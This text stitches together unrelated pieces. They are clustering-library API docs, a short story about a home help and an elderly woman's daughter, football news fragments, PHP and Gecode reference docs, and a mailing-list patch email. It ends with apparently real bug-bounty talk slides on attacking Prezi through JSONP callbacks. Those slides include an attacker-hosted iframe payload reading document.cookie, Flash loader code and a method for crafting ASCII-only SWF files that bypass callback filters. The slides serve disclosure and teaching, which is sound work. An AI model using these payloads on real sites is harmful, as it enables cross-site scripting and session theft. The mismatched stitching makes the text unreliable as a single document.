COBRAS¶
The COBRAS class contains most of the clustering procedure that is shared between specific COBRAS variants: COBRAS_dtw, COBRAS_kmeans and COBRAS_kshape (see below)
The following methods are specific to each variant:
create_superinstance: this method simply creates a super-instance of the appropriate type
split_superinstance: this method splits a super-instance
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COBRAS
(data, querier, max_questions, train_indices=None, store_intermediate_results=True)¶ -
cluster
()¶ Perform clustering
- Returns
if cobras.store_intermediate_results is set to False, this method returns a single Clustering object if cobras.store_intermediate_results is set to True, this method returns a tuple containing the following items:
a
Clustering
object representing the resulting clusteringa list of intermediate clustering labellings for each query (each item is a list of clustering labels)
a list of timestamps for each query
the list of must-link constraints that was queried
the list of cannot-link constraints that was queried
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create_superinstance
(indices, parent=None)¶ Creates a new super-instance containing the given instances and with the given parent
- Parameters
indices (List[int]) – the indices of the instances that should be in the new super-instance
parent (SuperInstance) – the parent of this super-instance
- Returns
the new super-instance
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split_superinstance
(si, k)¶ Splits the super-instance si into k new super-instances
- Parameters
si (SuperInstance) – the super-instance to split
k (int) – the desired number of new super-instances
- Returns
a list of the new super-instances
- Return type
List[SuperInstance]
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COBRAS_DTW¶
Important when using COBRAS_DTW the data argument given to the COBRAS constructor should NOT be the raw data. In the case of COBRAS_DTW, COBRAS expects an affinity matrix as input. This affinity matrix should be generated by the dtaidistance package as in the run_cobras_dtw example (under examples).
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cobras_ts.cobras_dtw.
COBRAS_DTW
(data, querier, max_questions, train_indices=None, store_intermediate_results=True)¶ -
create_superinstance
(indices, parent=None)¶ Creates a super-instance of type SuperInstance_DTW
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split_superinstance
(si, k)¶ Splits the given super-instance using spectral clustering
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COBRAS_kmeans¶
COBRAS_kshape¶
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cobras_ts.cobras_kshape.
COBRAS_kShape
(data, querier, max_questions, train_indices=None, store_intermediate_results=True)¶ -
create_superinstance
(indices, parent=None)¶ Creates a super-instance of type SuperInstance_kShape
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split_superinstance
(si, k)¶ Splits the given super-instance using kshape clustering
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He'd lost count of the number of times he'd assembled the contents of this tray—salt cellar, a boiled egg in a mint-green eggcup, a spoon, and a stack of pale soldiers dampened with butter—but today was different. The toast was as always the colour of marzipan, had barely felt the heat before being rescued from the toaster. As always too all trace of crust had been removed, lest Mrs Sims' dentures be unable to cope. And the eggshell was still immaculate, awaiting the force of Mrs Sims' own will, still strong enough for her to wield it with a little elderly pride.
But, oh, how it could all have been ruined! Because today was different. That's why, although Mrs Sims' tea was stationed between the egg and the tray corner as always—teabag still there to give it "a bit of body"—there was another mug beside it. Most of the other mugs were hardly ever used and sat gathering some sort of unidentifiable bakelite dust at the back of Mrs Sims' kitchen cupboards, but he'd dragged one out today, because it was different, and the tea in it was almost as pale as the toast... because today Mrs Sims had a real visitor. Not just him, the home help.
Mrs Sims' daughter didn't come round nearly often enough: Charlie had thought that to himself; Mrs Sims had hinted at it once or twice—but rarely, because she wouldn't be beholden—and her daughter said as much when she apologized for her brazen attempt on her mother's egg.
"It's the shifts, you see," she explained, stepping back to show she yielded to Charlie, and leaning against the draining-board. Charlie could now get on with the preparations unhindered. He shuffled a bit, to stand square with the tray. "I've got a bit more leeway now that I'm sister, of course. But I've still got to set an example. So I don't want to seem to be neglecting my duties just because it's me that decides on the rota."
Charlie nodded, and busied himself with the breakfast-making for a moment. It dawned on him that a reply was needed, and he said:
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"Carol, please," she replied, and then: "Really? You think she's happy I've come?"
"Oh, definitely," Charlie said, setting his bottom lip in a position that brooked no argument. He thought to himself, though, that it was difficult most days to work out even the primary colour of Mrs Sims' moods; she was so opaque. But it couldn't hurt to say what he'd said.
He made one last check of the tray, and then picked it up and headed towards the door. "Oh, let me hold it open for you," Carol said, and bustled round him to the handle. Charlie smiled a thanks and they did a brief dance that resulted, happily, in getting him and his burden into the warmth of Mrs Sims' living-room.

"I was just entertaining your daughter," Charlie said, and set the tray down on the low table in front of Mrs Sims' chair. The surfaces clattered together, and Mrs Sims leaned forward automatically to take up one of her toast soldiers.
"That's what they call it these days, is it?" And then, before anyone could reply: "That's her mug, then, I take it. Bit weak for my tastes. Engaged yet, Carol, dear?"
Carol rolled her eyes theatrically, clearly actually annoyed underneath. "No, not yet, mother," she replied wearily, and then to Charlie: "She asks me that every time I see her." She sat down on the sofa, at the end next to her mother's chair, and reached for her mug. Mrs Sims seemed satisfied that the tray was now as it should be.
"Well," Mrs Sims explained, "I'm sure you're doing wonderful work on the ward, but you should want more than that. You must have all those lovely doctors chasing you by now. Let one of them catch you, make an honest woman of you. I might see some grandkids before.... I won't be around for ever, you know."
Charlie didn't know what to say. He'd never been very good at small talk. Mrs Sims could usually draw him out of himself a bit, but all her attention was directed at her daughter. He wondered, after all, if Carol was really welcome in the house until suddenly, without making eye contact, Mrs Sims reached over with her free hand and patted Carol's as it rested on the arm of the sofa.
"Still, it's lovely to see you, dear. Oh, I just remembered. Ethel Beaman brought round some toffees. Quality Street. I can't abide them myself. But they're just by the side of the sofa, so don't stand on ceremony.  Let Chalkie have a few. Besides, you should be watching your figure."
Later, Charlie and Carol were doing the washing-up. Carol dried what Charlie cleaned. At first she had to ask where each item of crockery went, but eventually it was obvious. Tariq had been looking in on Mrs Sims over the weekend, and he never did the washing up, so there was more to clean than on most week-days. They chatted at the same time, or tried to. Charlie told her at one point that he was never one for chatting. Letting someone know you find chatting difficult makes it all the harder, Charlie knew, but he never learned. So there was a bit of stilted talk, then a pause in which dishes clanked and soapsuds shushed and dripped from plate to bowl and back.
"She does go on," Carol grumbled after one particularly long pause.
"Mrs Sims?" Charlie asked, although it was obvious. Carol nodded. "Oh, I think she just wants the best for you. Just doesn't know how to say it."
Carol looked unconvinced. "She teases me like that every time I see her. I think the only thing it's meant to tell me is that she's still got the power to annoy me."
"Surely not. She probably wants you to have more fun than she did. Her generation had two wars and not much freedom. She'd just like to see you out enjoying yourself, maybe, instead of working so hard at the hospital."
"You think?" Carol asked, looking out of the corner of her eye.
Charlie carried on rinsing dishes, but noticed the look.
 Sorry, Charlie, but you know what I mean. I love her, but she drives me up the wall."
They carried on cleaning the dishes.
"So you think she'd be happier if I was out chasing men, then?"
Charlie laughed, nervously. "I didn't say that, did I? But maybe you should relax more. Like you said, you're sister now, so you've got breathing space. Maybe fix that rota in your favour every once in a while."
Carol looked at him, for longer this time. "Are you volunteering your services, then, Charlie? I don't think this sort of thing is covered in home visits."
Charlie looked back at her, then down to the dishes. His face passed through a half-dozen expressions before settling on a kind of polite, thoughtful frown. "Now, don't get me wrong, Miss- Carol.  But I... I'm not sure if you're my type. I mean, if I'm your type. I mean. I'm sure there's lots of fellas out there who would jump at the chance to...."
He tailed off. Carol put down the dish she hadn't been drying for a couple of minutes now. She moved towards Charlie and put a hand on her hip.
"Let me tell you something, Charlie. It might come as a bit of a shock." Charlie stopped his rinsing and waited. "That woman in there's sharper than you think. She's probably even sharper than I give her credit for. I don't know what she's told you, but—" she was quite close now "—in my time I've had more than my fair share of men, that's for certain."
Charlie started at this, and Carol took her chance to move another step towards the sink. She was now close enough that Charlie's arm and side could somehow tell how close she was, even though she wasn't touching him.
"Medical students do a lot of sleeping around, and I joined in when I could. It's all true what you heard about us nurses, you know. Oh, yeah: I've certainly had my fair share of men. And I'll tell you something else," she said, a little huskily, moving even closer.
Charlie swallowed. "What?"
"So's she. All the men on Ferris Close, but that was demolished before both our time so you won't know how long a road it was. But she's got a notch on the bedpost for each one of the armed services. And a couple for the fire brigade. Heaven knows how many men from the ordnance factory. Like mother, like daughter. So make sure you think of that, next time you're watching her dunk soldiers in her egg." She turned away, folded the towel on the rack, and went back to her mother.


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Leeds sent Villa warning
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Old Trafford executive vice-chairman Woodward addressed the New York Stock Exchange to inform shareholders of results from the first quarter of the financial year.
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Lucas Torreira's agent has declared that the Arsenal midfielder is "no longer at ease" under Unai Emery, putting his long-term Emirates future into doubt.
The Uruguay international was signed from Sampdoria in a £26million deal in 2018, and was seen as something of a coup after impressing at the World Cup.
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This repository provides only the stying needed to implement RDash into your project.
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:
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},
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UserActivity extends Entity
UserActivity class
Tags
Table of Contents
- $_propDict : array<string|int, mixed>
- The array of properties available to the model
- __construct() : mixed
- Construct a new Entity
- getActivationUrl() : string|null
- Gets the activationUrl Required. URL used to launch the activity in the best native experience represented by the appId. Might launch a web-based app if no native app exists.
- getActivitySourceHost() : string|null
- Gets the activitySourceHost Required. URL for the domain representing the cross-platform identity mapping for the app. Mapping is stored either as a JSON file hosted on the domain or configurable via Windows Dev Center. The JSON file is named cross-platform-app-identifiers and is hosted at root of your HTTPS domain, either at the top level domain or include a sub domain. For example: https://contoso.com or https://myapp.contoso.com but NOT https://myapp.contoso.com/somepath. You must have a unique file and domain (or sub domain) per cross-platform app identity. For example, a separate file and domain is needed for Word vs. PowerPoint.
- getAppActivityId() : string|null
- Gets the appActivityId Required. The unique activity ID in the context of the app - supplied by caller and immutable thereafter.
- getAppDisplayName() : string|null
- Gets the appDisplayName Optional. Short text description of the app used to generate the activity for use in cases when the app is not installed on the user’s local device.
- getContentInfo() : string|null
- Gets the contentInfo Optional. A custom piece of data - JSON-LD extensible description of content according to schema.org syntax.
- getContentUrl() : string|null
- Gets the contentUrl Optional. Used in the event the content can be rendered outside of a native or web-based app experience (for example, a pointer to an item in an RSS feed).
- getCreatedDateTime() : DateTime|null
- Gets the createdDateTime Set by the server. DateTime in UTC when the object was created on the server.
- getExpirationDateTime() : DateTime|null
- Gets the expirationDateTime Set by the server. DateTime in UTC when the object expired on the server.
- getFallbackUrl() : string|null
- Gets the fallbackUrl Optional. URL used to launch the activity in a web-based app, if available.
- getHistoryItems() : array<string|int, mixed>|null
- Gets the historyItems Optional. NavigationProperty/Containment; navigation property to the activity's historyItems.
- getId() : string|null
- Gets the id Read-only.
- getLastModifiedDateTime() : DateTime|null
- Gets the lastModifiedDateTime Set by the server. DateTime in UTC when the object was modified on the server.
- getODataType() : string|null
- Gets the ODataType
- getProperties() : array<string|int, mixed>
- Gets the property dictionary of the Entity
- getStatus() : Status|null
- Gets the status Set by the server. A status code used to identify valid objects. Values: active, updated, deleted, ignored.
- getUserTimezone() : string|null
- Gets the userTimezone Optional. The timezone in which the user's device used to generate the activity was located at activity creation time; values supplied as Olson IDs in order to support cross-platform representation.
- getVisualElements() : VisualInfo|null
- Gets the visualElements Required. The object containing information to render the activity in the UX.
- jsonSerialize() : array<string|int, mixed>
- Serializes the object by property array Manually serialize DateTime into RFC3339 format
- setActivationUrl() : UserActivity
- Sets the activationUrl Required. URL used to launch the activity in the best native experience represented by the appId. Might launch a web-based app if no native app exists.
- setActivitySourceHost() : UserActivity
- Sets the activitySourceHost Required. URL for the domain representing the cross-platform identity mapping for the app. Mapping is stored either as a JSON file hosted on the domain or configurable via Windows Dev Center. The JSON file is named cross-platform-app-identifiers and is hosted at root of your HTTPS domain, either at the top level domain or include a sub domain. For example: https://contoso.com or https://myapp.contoso.com but NOT https://myapp.contoso.com/somepath. You must have a unique file and domain (or sub domain) per cross-platform app identity. For example, a separate file and domain is needed for Word vs. PowerPoint.
- setAppActivityId() : UserActivity
- Sets the appActivityId Required. The unique activity ID in the context of the app - supplied by caller and immutable thereafter.
- setAppDisplayName() : UserActivity
- Sets the appDisplayName Optional. Short text description of the app used to generate the activity for use in cases when the app is not installed on the user’s local device.
- setContentInfo() : UserActivity
- Sets the contentInfo Optional. A custom piece of data - JSON-LD extensible description of content according to schema.org syntax.
- setContentUrl() : UserActivity
- Sets the contentUrl Optional. Used in the event the content can be rendered outside of a native or web-based app experience (for example, a pointer to an item in an RSS feed).
- setCreatedDateTime() : UserActivity
- Sets the createdDateTime Set by the server. DateTime in UTC when the object was created on the server.
- setExpirationDateTime() : UserActivity
- Sets the expirationDateTime Set by the server. DateTime in UTC when the object expired on the server.
- setFallbackUrl() : UserActivity
- Sets the fallbackUrl Optional. URL used to launch the activity in a web-based app, if available.
- setHistoryItems() : UserActivity
- Sets the historyItems Optional. NavigationProperty/Containment; navigation property to the activity's historyItems.
- setId() : Entity
- Sets the id Read-only.
- setLastModifiedDateTime() : UserActivity
- Sets the lastModifiedDateTime Set by the server. DateTime in UTC when the object was modified on the server.
- setODataType() : Entity
- Sets the ODataType
- setStatus() : UserActivity
- Sets the status Set by the server. A status code used to identify valid objects. Values: active, updated, deleted, ignored.
- setUserTimezone() : UserActivity
- Sets the userTimezone Optional. The timezone in which the user's device used to generate the activity was located at activity creation time; values supplied as Olson IDs in order to support cross-platform representation.
- setVisualElements() : UserActivity
- Sets the visualElements Required. The object containing information to render the activity in the UX.
Properties
$_propDict
The array of properties available to the model
protected
array<string|int, mixed>
$_propDict
Methods
__construct()
Construct a new Entity
public
__construct([array<string|int, mixed> $propDict = array() ]) : mixed
Parameters
- $propDict : array<string|int, mixed> = array()
-
A list of properties to set
Return values
mixed —getActivationUrl()
Gets the activationUrl Required. URL used to launch the activity in the best native experience represented by the appId. Might launch a web-based app if no native app exists.
public
getActivationUrl() : string|null
Return values
string|null —The activationUrl
getActivitySourceHost()
Gets the activitySourceHost Required. URL for the domain representing the cross-platform identity mapping for the app. Mapping is stored either as a JSON file hosted on the domain or configurable via Windows Dev Center. The JSON file is named cross-platform-app-identifiers and is hosted at root of your HTTPS domain, either at the top level domain or include a sub domain. For example: https://contoso.com or https://myapp.contoso.com but NOT https://myapp.contoso.com/somepath. You must have a unique file and domain (or sub domain) per cross-platform app identity. For example, a separate file and domain is needed for Word vs. PowerPoint.
public
getActivitySourceHost() : string|null
Return values
string|null —The activitySourceHost
getAppActivityId()
Gets the appActivityId Required. The unique activity ID in the context of the app - supplied by caller and immutable thereafter.
public
getAppActivityId() : string|null
Return values
string|null —The appActivityId
getAppDisplayName()
Gets the appDisplayName Optional. Short text description of the app used to generate the activity for use in cases when the app is not installed on the user’s local device.
public
getAppDisplayName() : string|null
Return values
string|null —The appDisplayName
getContentInfo()
Gets the contentInfo Optional. A custom piece of data - JSON-LD extensible description of content according to schema.org syntax.
public
getContentInfo() : string|null
Return values
string|null —The contentInfo
getContentUrl()
Gets the contentUrl Optional. Used in the event the content can be rendered outside of a native or web-based app experience (for example, a pointer to an item in an RSS feed).
public
getContentUrl() : string|null
Return values
string|null —The contentUrl
getCreatedDateTime()
Gets the createdDateTime Set by the server. DateTime in UTC when the object was created on the server.
public
getCreatedDateTime() : DateTime|null
Return values
DateTime|null —The createdDateTime
getExpirationDateTime()
Gets the expirationDateTime Set by the server. DateTime in UTC when the object expired on the server.
public
getExpirationDateTime() : DateTime|null
Return values
DateTime|null —The expirationDateTime
getFallbackUrl()
Gets the fallbackUrl Optional. URL used to launch the activity in a web-based app, if available.
public
getFallbackUrl() : string|null
Return values
string|null —The fallbackUrl
getHistoryItems()
Gets the historyItems Optional. NavigationProperty/Containment; navigation property to the activity's historyItems.
public
getHistoryItems() : array<string|int, mixed>|null
Return values
array<string|int, mixed>|null —The historyItems
getId()
Gets the id Read-only.
public
getId() : string|null
Return values
string|null —The id
getLastModifiedDateTime()
Gets the lastModifiedDateTime Set by the server. DateTime in UTC when the object was modified on the server.
public
getLastModifiedDateTime() : DateTime|null
Return values
DateTime|null —The lastModifiedDateTime
getODataType()
Gets the ODataType
public
getODataType() : string|null
Return values
string|null —The ODataType
getProperties()
Gets the property dictionary of the Entity
public
getProperties() : array<string|int, mixed>
Return values
array<string|int, mixed> —The list of properties
getStatus()
Gets the status Set by the server. A status code used to identify valid objects. Values: active, updated, deleted, ignored.
public
getStatus() : Status|null
Return values
Status|null —The status
getUserTimezone()
Gets the userTimezone Optional. The timezone in which the user's device used to generate the activity was located at activity creation time; values supplied as Olson IDs in order to support cross-platform representation.
public
getUserTimezone() : string|null
Return values
string|null —The userTimezone
getVisualElements()
Gets the visualElements Required. The object containing information to render the activity in the UX.
public
getVisualElements() : VisualInfo|null
Return values
VisualInfo|null —The visualElements
jsonSerialize()
Serializes the object by property array Manually serialize DateTime into RFC3339 format
public
jsonSerialize() : array<string|int, mixed>
Return values
array<string|int, mixed> —The list of properties
setActivationUrl()
Sets the activationUrl Required. URL used to launch the activity in the best native experience represented by the appId. Might launch a web-based app if no native app exists.
public
setActivationUrl(string $val) : UserActivity
Parameters
- $val : string
-
The activationUrl
Return values
UserActivity —setActivitySourceHost()
Sets the activitySourceHost Required. URL for the domain representing the cross-platform identity mapping for the app. Mapping is stored either as a JSON file hosted on the domain or configurable via Windows Dev Center. The JSON file is named cross-platform-app-identifiers and is hosted at root of your HTTPS domain, either at the top level domain or include a sub domain. For example: https://contoso.com or https://myapp.contoso.com but NOT https://myapp.contoso.com/somepath. You must have a unique file and domain (or sub domain) per cross-platform app identity. For example, a separate file and domain is needed for Word vs. PowerPoint.
public
setActivitySourceHost(string $val) : UserActivity
Parameters
- $val : string
-
The activitySourceHost
Return values
UserActivity —setAppActivityId()
Sets the appActivityId Required. The unique activity ID in the context of the app - supplied by caller and immutable thereafter.
public
setAppActivityId(string $val) : UserActivity
Parameters
- $val : string
-
The appActivityId
Return values
UserActivity —setAppDisplayName()
Sets the appDisplayName Optional. Short text description of the app used to generate the activity for use in cases when the app is not installed on the user’s local device.
public
setAppDisplayName(string $val) : UserActivity
Parameters
- $val : string
-
The appDisplayName
Return values
UserActivity —setContentInfo()
Sets the contentInfo Optional. A custom piece of data - JSON-LD extensible description of content according to schema.org syntax.
public
setContentInfo(string $val) : UserActivity
Parameters
- $val : string
-
The contentInfo
Return values
UserActivity —setContentUrl()
Sets the contentUrl Optional. Used in the event the content can be rendered outside of a native or web-based app experience (for example, a pointer to an item in an RSS feed).
public
setContentUrl(string $val) : UserActivity
Parameters
- $val : string
-
The contentUrl
Return values
UserActivity —setCreatedDateTime()
Sets the createdDateTime Set by the server. DateTime in UTC when the object was created on the server.
public
setCreatedDateTime(DateTime $val) : UserActivity
Parameters
- $val : DateTime
-
The createdDateTime
Return values
UserActivity —setExpirationDateTime()
Sets the expirationDateTime Set by the server. DateTime in UTC when the object expired on the server.
public
setExpirationDateTime(DateTime $val) : UserActivity
Parameters
- $val : DateTime
-
The expirationDateTime
Return values
UserActivity —setFallbackUrl()
Sets the fallbackUrl Optional. URL used to launch the activity in a web-based app, if available.
public
setFallbackUrl(string $val) : UserActivity
Parameters
- $val : string
-
The fallbackUrl
Return values
UserActivity —setHistoryItems()
Sets the historyItems Optional. NavigationProperty/Containment; navigation property to the activity's historyItems.
public
setHistoryItems(ActivityHistoryItem $val) : UserActivity
Parameters
- $val : ActivityHistoryItem
-
The historyItems
Return values
UserActivity —setId()
Sets the id Read-only.
public
setId(string $val) : Entity
Parameters
- $val : string
-
The id
Return values
Entity —setLastModifiedDateTime()
Sets the lastModifiedDateTime Set by the server. DateTime in UTC when the object was modified on the server.
public
setLastModifiedDateTime(DateTime $val) : UserActivity
Parameters
- $val : DateTime
-
The lastModifiedDateTime
Return values
UserActivity —setODataType()
Sets the ODataType
public
setODataType(string $val) : Entity
Parameters
- $val : string
-
The ODataType
Return values
Entity —setStatus()
Sets the status Set by the server. A status code used to identify valid objects. Values: active, updated, deleted, ignored.
public
setStatus(Status $val) : UserActivity
Parameters
- $val : Status
-
The status
Return values
UserActivity —setUserTimezone()
Sets the userTimezone Optional. The timezone in which the user's device used to generate the activity was located at activity creation time; values supplied as Olson IDs in order to support cross-platform representation.
public
setUserTimezone(string $val) : UserActivity
Parameters
- $val : string
-
The userTimezone
Return values
UserActivity —setVisualElements()
Sets the visualElements Required. The object containing information to render the activity in the UX.
public
setVisualElements(VisualInfo $val) : UserActivity
Parameters
- $val : VisualInfo
-
The visualElements


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Gecode::Support::DynamicQueue< T, A > Class Template Reference
[Support algorithms and datastructures]
Queue with arbitrary number of elements. More...
#include <dynamic-queue.hpp>
Public Member Functions | |
| DynamicQueue (A &a) | |
| Initialize queue. | |
| ~DynamicQueue (void) | |
| Release memory. | |
| bool | empty (void) const |
| Test whether queue is empty. | |
| void | reset (void) |
| Reset queue to be empty. | |
| T | pop (void) |
| Pop element added first from queue and return it. | |
| void | push (const T &x) |
| Push element x to queue. |
Detailed Description
template<class T, class A>
class Gecode::Support::DynamicQueue< T, A >
Queue with arbitrary number of elements.
Definition at line 46 of file dynamic-queue.hpp.
Constructor & Destructor Documentation
template<class T , class A>
| Gecode::Support::DynamicQueue< T, A >::DynamicQueue | ( | A & | a | ) | [inline] |
Initialize queue.
Definition at line 115 of file dynamic-queue.hpp.
template<class T , class A >
| Gecode::Support::DynamicQueue< T, A >::~DynamicQueue | ( | void | ) | [inline] |
Release memory.
Definition at line 120 of file dynamic-queue.hpp.
Member Function Documentation
template<class T , class A >
| bool Gecode::Support::DynamicQueue< T, A >::empty | ( | void | ) | const [inline] |
Test whether queue is empty.
Definition at line 126 of file dynamic-queue.hpp.
template<class T , class A >
| void Gecode::Support::DynamicQueue< T, A >::reset | ( | void | ) | [inline] |
Reset queue to be empty.
Definition at line 132 of file dynamic-queue.hpp.
template<class T , class A >
| T Gecode::Support::DynamicQueue< T, A >::pop | ( | void | ) | [inline] |
Pop element added first from queue and return it.
Definition at line 138 of file dynamic-queue.hpp.
template<class T, class A >
| void Gecode::Support::DynamicQueue< T, A >::push | ( | const T & | x | ) | [inline] |
Push element x to queue.
Definition at line 147 of file dynamic-queue.hpp.
The documentation for this class was generated from the following file:
- gecode/support/dynamic-queue.hpp (Revision: 9692)


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[gecode-users] int vs. unsigned int for Matrix dimensions
Gregory Crosswhite
gcross at phys.washington.edu
Mon Jan 24 22:57:13 CET 2011
Oops, I just realized that I forgot to include in the patch an extra
line in Makefile.in to install the new header. The amended patch is
attached to this e-mail.
Also, I forgot in my previous to mention that also included in the patch
is a test for the WrapVal iterator in test/iter.hpp; that test program
includes checks on some of the examples that I described in the e-mail
to make sure that they have the expected result.
Cheers,
Greg
On 01/24/2011 12:12 PM, Gregory Crosswhite wrote:
> Well then, I am glad that I got the patch ready over the weekend. :-)
>
> The patch has been attached to this e-mail as the file "patch"; it is
> the result of running "svn diff" against revision 11556.
>
> I have modified "gecode/kernel/array.hpp" along the lines that we
> discussed, and have added a new test to your suite under
> "test/array.cpp" to verify that it works as expected.
>
> While I was add it, I added another feature. The patch includes a
> file "gecode/iter/wrap-val.hpp" (and a patch to "gecode/iter.hh" to
> include this file) which contains an iterator class "WrapVal" that
> wraps another iterator and upon dereferencing returns the the result
> of calling ".val()" on the dereferenced wrapped iterator, as well as a
> function "wrap_val" that is a convenience function for constructing a
> "WrapVal" (since this causes the template parameters to automatically
> be inferred).
>
> That might sound complicated, but the point of it is to allow someone
> to do the following:
>
> #include <algorithm>
> #include <gecode/iter.hh>
> #include <iterator>
> #include <vector>
> ...
> using namespace Gecode;
> using namespace Gecode::Iter;
> using namespace std;
> ...
> IntVarArray a;
> ...
> vector<int> v;
> copy(wrap_val(a.begin()),wrap_val(a.end()),back_inserter(x));
>
> which has the effect of copying all of the values from the array a
> into the vector v, since a.begin() returns an iterator that
> dereferences to an IntVar and wrap_val(a.begin()) returns a wrapped
> iterator that returns the result of calling .val() on the IntVar.
>
> The basic use case of the iterators is as follows:
>
> IntVarArgs a;
> ...
> for(IntVarArgs::iterator i = a.begin(); i != a.end(); ++i) {
> rel(space,*i,IRT_EQ,0); }
>
> Of course, you could more easily do this with rel(space,a,IRT_EQ,0).
> A more interesting example is:
>
> IntVarArgs a;
> ...
> for(IntVarArgs::iterator i = a.begin(); i != a.end()-1; ++i) {
> rel(space,*i > *(i+1)+2); }
>
> More powerfully, iterators give you the ability to work with STL
> algorithms:
>
> #include <algorithm>
> ...
> void f(IntVar& v) { ... }
> ...
> IntVarArgs a;
> ...
> std::for_each(a.begin(),a.end(),f);
>
> The iterators returned by a.begin() and a.end() dereference to a
> reference to an IntVar/BoolVar (or a view in the case of ViewArray).
> If you are interested in iterating over the *values* of the array ---
> that is, the value currently assigned to to each variable then you can
> use the function wrap_val to wrap these iterators so that
> dereferencing them returns the value assigned to the variable. For
> example, the last two lines in the following have exactly the same
> result:
>
> #include <algorithm>
> #include <iostream>
> ...
> void f(IntVar& v) { std::cout << v.val() << " "; }
> void g(int i) { std::cout << i << " "; }
> ...
> IntVarArgs a;
> ...
> std::for_each(a.begin(),a.end(),f); std::cout << std::endl;
> std::for_each(wrap_val(a.begin()),wrap_val(a.end()),g); std::cout
> << std::endl;
>
> Or if you want to copy the values assigned to the variables into a
> std::vector:
>
> #include <algorithm>
> #include <iterator>
> #include <vector>
> ...
> IntVarArray a;
> ...
> std::vector<int> v;
>
> std::copy(wrap_val(a.begin()),wrap_val(a.end()),std::back_inserter(x));
>
> Or if you are interested in computing the sum of the values in the
> variables:
>
> #include <numeric>
> ...
> IntVarArray a;
> ...
> int sum = std::accumulate(wrap_val(a.begin()),wrap_val(a.end()),0);
>
> Or alternatively if you are interested in counting the number of zeros
> in the variables:
>
> #include <algorithm>
> ...
> IntVarArray a;
> ...
> unsigned int number_of_zeros =
> std::count(wrap_val(a.begin()),wrap_val(a.end()),0);
>
> ===
>
> Anyway, I hope that this patch can make it into Gecode this week; you
> have my official permission to release it under whatever license
> Gecode uses.
>
> Let me know if you have any questions! :-)
>
> Cheers,
> Gregory Crosswhite
>
>
>
> On 01/24/2011 10:54 AM, Christian Schulte wrote:
>> Christian Schulte<cschulte at ...> writes:
>>
>> Hi again,
>>
>> There is one thing I forgot to say: we intend to release end of this
>> week
>> (hopefully). So if your patch arrives until then, it'll be included
>> in the
>> next version.
>>
>> Cheers
>> Christian
>>
>>
>>
>>
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Malware analysis, penetration testing
at Ukatemi Technologies/CrySyS Lab.
CTFs with the !SpamAndHex team, bug bounties in free time.
$500/web application bug.
2014/04: Spent two days hunting bugs → found an interesting one!
Then two weeks to write a Proof of Concept... not an average XSS bug.
prezi.com, search.prezi.com, media.prezi.com, ...
APIs and web app on different domains.
Can't make HTTP request to a different domain and read the response.
Proper solution, but not supported in old browsers.
You can't read the API response... but you can execute it!
<script>
function f(response) {
alert('The response is: ' + JSON.stringify(response));
}
</script>
<script src="https://gs.prezi.com/api/v1/group/4dd5e018/users
?format=jsonp&_callback=f">
</script>
GET /api/v1/group/4dd5e018/users?format=jsonp&_callback=f HTTP/1.1
Host: gs.prezi.com
HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 27
f(["Joe", "Jack", "Jill"])
Prezi uses CSRF (Cross Site Request Forgery) tokens.
Main domain ↔ API domain shared secret
Main domain scripts can access it, others can't.
JSONP requests must include a CSRF token!
Consequence: access to certain JSONP APIs from anywhere.
Observation: there are JSONP APIs on the main domain too!
We can control the first bytes of the response! What to do with it?
Code on attacker.example.com
var html = '<script>alert(document.cookie);</script>';
var url = 'https://gs.prezi.com/api/v1/group/4dd5e018/users' +
'?format=jsonp&_callback=' + encodeURIComponent(html);
document.write('<iframe src="' + url + '"></iframe>');
Code in the <iframe>
<script>alert(document.cookie);</script>(["Joe", "Jack", "Jill"])
Does not work because of the Content-Type HTTP header!
HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 72
<script>alert(document.cookie);</script>(["Joe", "Jack", "Jill"])
Spotted in a Facebook Graph API JSONP response:
GET /123456/friends?access_token=abcdefg&callback=f
...
/**/ f({ "data": [{"name": "First Friend", "id": "XXXX" ...
StackOverflow: In Facebook graph API JSONP format,
what does the /**/ in first line signify?
<object type="application/x-shockwave-flash"
data="http://graph.facebook.com/api
?callback=[specifically crafted flash bytes]">
</object>
Start JSONP response with /**/ .
Flash files must begin with "FWS" or "CWS", not /**/ .
in some JSONP APIs, that don't check CSRF token either! (Bug #1)
Good, let's do a Proof of Concept!
Callback name is usually filtered!
Most websites: alphanumeric characters: [0-9A-Za-z]
Prezi: characters between 0x00 and 0x7f (0-127)
... with Django APIs. Haskell APIs allowed 0x00-0xff
but didn't find them at the time.
It seems like no one tried to do this yet...
import flash.external.ExternalInterface;
import flash.utils.ByteArray;
import flash.display.Loader;
function parse(binary:ByteArray, string:String) {
if (string) {
binary.writeByte(string.substr(0,3));
parse(binary, string.substr(3));
}
return binary;
}
(new Loader()).loadBytes(
parse(new ByteArray(), ExternalInterface.objectID)
);
+ manual SWF editing with swfmill
<object
type="application/x-shockwave-flash"
data="http:// ... &_callback=%46%56%53..." <!-- Loader SWF -->
name="0670870..."> <!-- SWF to be loaded, octal encoding -->
<param name="AllowScriptAccess" value="always">
</object>
Uncompressed Flash files always contain 0x00 bytes!
How to exploit this vulnerability?
The idea was first published here:
Alok Menghrajani - JSONP & handcrafted Flash files
Tricks: file size is ignored, checksum can be forced.
There's no known public exploit.
PoC: custom compression algo, 0x03-0x7e, does not do anything
0000000: 4357 536a 6163 6b69 6843 5254 5464 6060 CWSjackihCRTTd``
0000010: 6030 6006 681a 3b03 437c 517e 7e09 0340 `0`.h.;.C|Q~~..@
0000020: 323e 2e7e 3e3e 4911 4060 3c0b 3046 0606<EMAIL_ADDRESS>0000030: 0303 0606 0606 0606 0606 2f61 316f 6b06 ........../a1ok.
0000040: 0606 0606 0606 0706 0606 404e 0b09 12<EMAIL_ADDRESS>Must produce compresssed SWF file.
Custom, generic zlib or LZMA compressor with ASCII output
→ compress any regular SWF file.
Chose zlib for no particular reason...
Zlib is a container format for Deflate compressed data.
Deflated data consists of blocks. Types:
Huffman table as a dictionary:
| Symbol | Code |
|---|---|
| 0x41 'A' | 100 |
| 0x42 'B' | 101 |
| 0x43 'C' | 110 |
| 0x44 'D' | 111 |
| 0x45 'E' | 00 |
| End | 01 |
Decoding:<PHONE_NUMBER> → 00 100 111 01 → EAD.
Prefix code → unambigous
Let's suppose symbols can be ordered.
Shorter codes should be always lower lexicographically.
If code lengths equal, let the preceding symbol have a lower code value.
⇓
Table definition = list of code lengths ordered by symbols
| Symbol↓ | Code | Length |
|---|---|---|
| 0x41 'A' | 100 | 3 |
| 0x42 'B' | 101 | 3 |
| 0x43 'C' | 110 | 3 |
| 0x44 'D' | 111 | 3 |
| 0x45 'E' | 00 | 2 |
| End | 01 | 2 |
